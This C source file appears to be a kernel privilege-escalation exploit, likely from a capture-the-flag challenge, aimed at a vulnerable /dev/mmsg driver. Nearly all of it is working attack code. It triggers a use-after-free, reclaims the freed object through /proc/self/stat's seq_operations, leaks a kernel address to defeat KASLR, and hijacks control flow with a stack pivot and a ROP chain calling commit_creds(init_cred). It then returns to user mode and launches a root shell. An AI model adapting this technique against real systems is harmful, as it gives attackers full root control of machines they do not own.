1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97
| #include <stdio.h> #include <stdlib.h> #include <fcntl.h> #include <sys/ioctl.h> #include <stddef.h>
#define MMSG_ALLOC 0x1111111 #define MMSG_COPY 0x2222222 #define MMSG_RECV 0x3333333 #define MMSG_UPDATE 0x4444444 #define MMSG_PUT_DESC 0x5555555 #define MMSG_GET_DESC 0x6666666
size_t single_start = 0xffffffff8120fac0; size_t add_rsp_0x168_jmp = 0xffffffff81909b8c; size_t kernel_offset = 0;
size_t pop_rdi_ret = 0xffffffff811aa376; size_t init_cred = 0xffffffff8264c9a0; size_t commit_creds = 0xffffffff8108d350; size_t swapgs_restore_regs_and_return_to_usermode = 0xFFFFFFFF81C00E30;
struct mmsg_arg { unsigned long token; int top; int size; char *data; };
size_t user_cs, user_ss, user_rflags, user_sp; void save_status(){ __asm__("mov user_cs, cs;" "mov user_ss, ss;" "mov user_sp, rsp;" "pushf;" "pop user_rflags;" ); user_sp &= ~0xf; puts("[*]status has been saved."); }
void debug(){ printf("[*]DEBUG....\n"); getchar(); }
int seq_fd; void pwn(){ int fd = open("/dev/mmsg",2); int uaf_fd = open("/dev/mmsg",2);
close(uaf_fd); seq_fd = open("/proc/self/stat",0); struct mmsg_arg arg; size_t buf[0x20] = {0}; arg.data = buf; ioctl(fd,MMSG_GET_DESC,&arg);
kernel_offset = buf[0] - single_start; add_rsp_0x168_jmp += kernel_offset; pop_rdi_ret += kernel_offset; init_cred += kernel_offset; commit_creds += kernel_offset; swapgs_restore_regs_and_return_to_usermode += (kernel_offset + 0x24);
buf[0] = (size_t)add_rsp_0x168_jmp; ioctl(fd,MMSG_PUT_DESC,&arg);
__asm__( "mov r15, 0xbeefdead;" "mov r14, pop_rdi_ret;" "mov r13, init_cred;" "mov r12, commit_creds;" "mov rbp, swapgs_restore_regs_and_return_to_usermode;" "mov rbx, 0x55555555;" "mov r11, 0x66666666;" "mov r10, 0x77777777;" "mov r9, 0x88888888;" "mov r8, 0x99999999;" "xor rax, rax;" "mov rcx, 0xaaaaaaaa;" "mov rdx, 8;" "mov rsi, rsp;" "mov rdi, seq_fd;" "syscall" ); system("/bin/sh"); }
int main(){ save_status(); pwn(); return 0; }
|